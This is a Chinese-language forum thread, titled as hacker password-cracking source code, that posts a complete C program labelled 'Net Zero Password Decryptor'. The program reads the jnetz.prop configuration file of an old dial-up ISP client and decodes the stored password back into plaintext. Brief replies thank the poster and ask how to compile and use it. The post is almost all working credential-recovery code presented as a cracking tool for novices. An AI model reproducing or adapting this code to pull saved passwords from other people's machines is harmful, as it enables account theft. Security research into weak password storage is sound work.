駭客破解密碼程式--原始碼---C語言編譯執行
#include <stdio.h>
#include <string.h> #define UID_SIZE 64 駭客破解密碼程式----原始碼---C語言編譯執行 #define PASS_CIPHER_SIZE 128 #define PASS_PLAIN_SIZE 64 #define BUF_SIZE 256 const char decTable[6][16] = { {'`','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o'}, {'p','q','r','s','t','u','v','w','x','y','z','{','|','}','~',0}, {'@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O'}, {'P','Q','R','S','T','U','V','W','X','Y','Z','[','\\',']','^','_'}, {'0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?'}, {' ','!','"','#','$','%','&','\'','(',')','*','+',',','-','.','/'} }; int nz_decrypt(char cCipherPass[PASS_CIPHER_SIZE], char cPlainPass[PASS_PLAIN_SIZE]) { int passLen, i, idx1, idx2; passLen = strlen(cCipherPass)/2; if (passLen > PASS_PLAIN_SIZE) { printf("Error: Plain text array too small\n"); return 1; } for (i = 0; i < passLen; i++) { switch(cCipherPass[i]) { case '1': idx2 = 0; break; case 'a': idx2 = 1; break; case 'M': idx2 = 2; break; case 'Q': idx2 = 3; break; case 'f': idx2 = 4; break; case '7': idx2 = 5; break; case 'g': idx2 = 6; break; case 'T': idx2 = 7; break; case '9': idx2 = 8; break; case '4': idx2 = 9; break; case 'L': idx2 = 10; break; case 'W': idx2 = 11; break; case 'e': idx2 = 12; break; case '6': idx2 = 13; break; case 'y': idx2 = 14; break; case 'C': idx2 = 15; break; default: printf("Error: Unknown Cipher Text index: %c\n", cCipherPass[i]); return 1; break; } switch(cCipherPass[i+passLen]) { case 'g': idx1 = 0; break; case 'T': idx1 = 1; break; case 'f': idx1 = 2; break; case '7': idx1 = 3; break; case 'Q': idx1 = 4; break; case 'M': idx1 = 5; break; default: printf("Error: Unknown Cipher Text Set: %c\n", cCipherPass[i+passLen]); return 1; break; } cPlainPass[i] = decTable[idx1][idx2]; } cPlainPass[i] = 0; return 0; } int main(void) { FILE *hParams; char cBuffer[BUF_SIZE], cUID[UID_SIZE]; char cCipherPass[PASS_CIPHER_SIZE], cPlainPass[PASS_PLAIN_SIZE]; int done = 2; printf("\nNet Zero Password Decryptor\n"); printf("Brian Carrier [bcarrier@atstake.com]\n"); printf("@Stake L0pht Research Labs\n"); printf("http://www.atstake.com\n\n"); if ((hParams = fopen("jnetz.prop","r")) == NULL) { printf("Unable to find jnetz.prop file\n"); return 1; } while ((fgets(cBuffer, BUF_SIZE, hParams) != NULL) && (done > 0)) { if (strncmp(cBuffer, "ProfUID=", 8) == 0) { done--; strncpy(cUID, cBuffer + 8, UID_SIZE); printf("UserID: %s", cUID); } if (strncmp(cBuffer, "ProfPWD=", 8) == 0) { done--; strncpy(cCipherPass, cBuffer + 8, PASS_CIPHER_SIZE); printf("Encrypted Password: %s", cCipherPass); if (nz_decrypt(cCipherPass, cPlainPass) != 0) return 1; else printf("Plain Text Password: %s\n", cPlainPass); } } fclose(hParams); if (done > 0) { printf("Invalid jnetz.prop file\n"); return 1; } else { return 0; } } |
我第一 推 :)
|
推~~
謝謝嘍 |
有人試過嗎??可以執行嗎?
|
有原始碼後,再來改就容易了....謝啦'
|
非常謝謝你,
不過請問這些東西要怎麼用呢?? |
=.= 這是 用 比較簡單的方法寫的 給新手 比較合適
|
所有時間均為台北時間。現在的時間是 02:35 AM。 |
Powered by vBulletin® 版本 3.6.8
版權所有 ©2000 - 2024, Jelsoft Enterprises Ltd.
『服務條款』
* 有問題不知道該怎麼解決嗎?請聯絡本站的系統管理員 *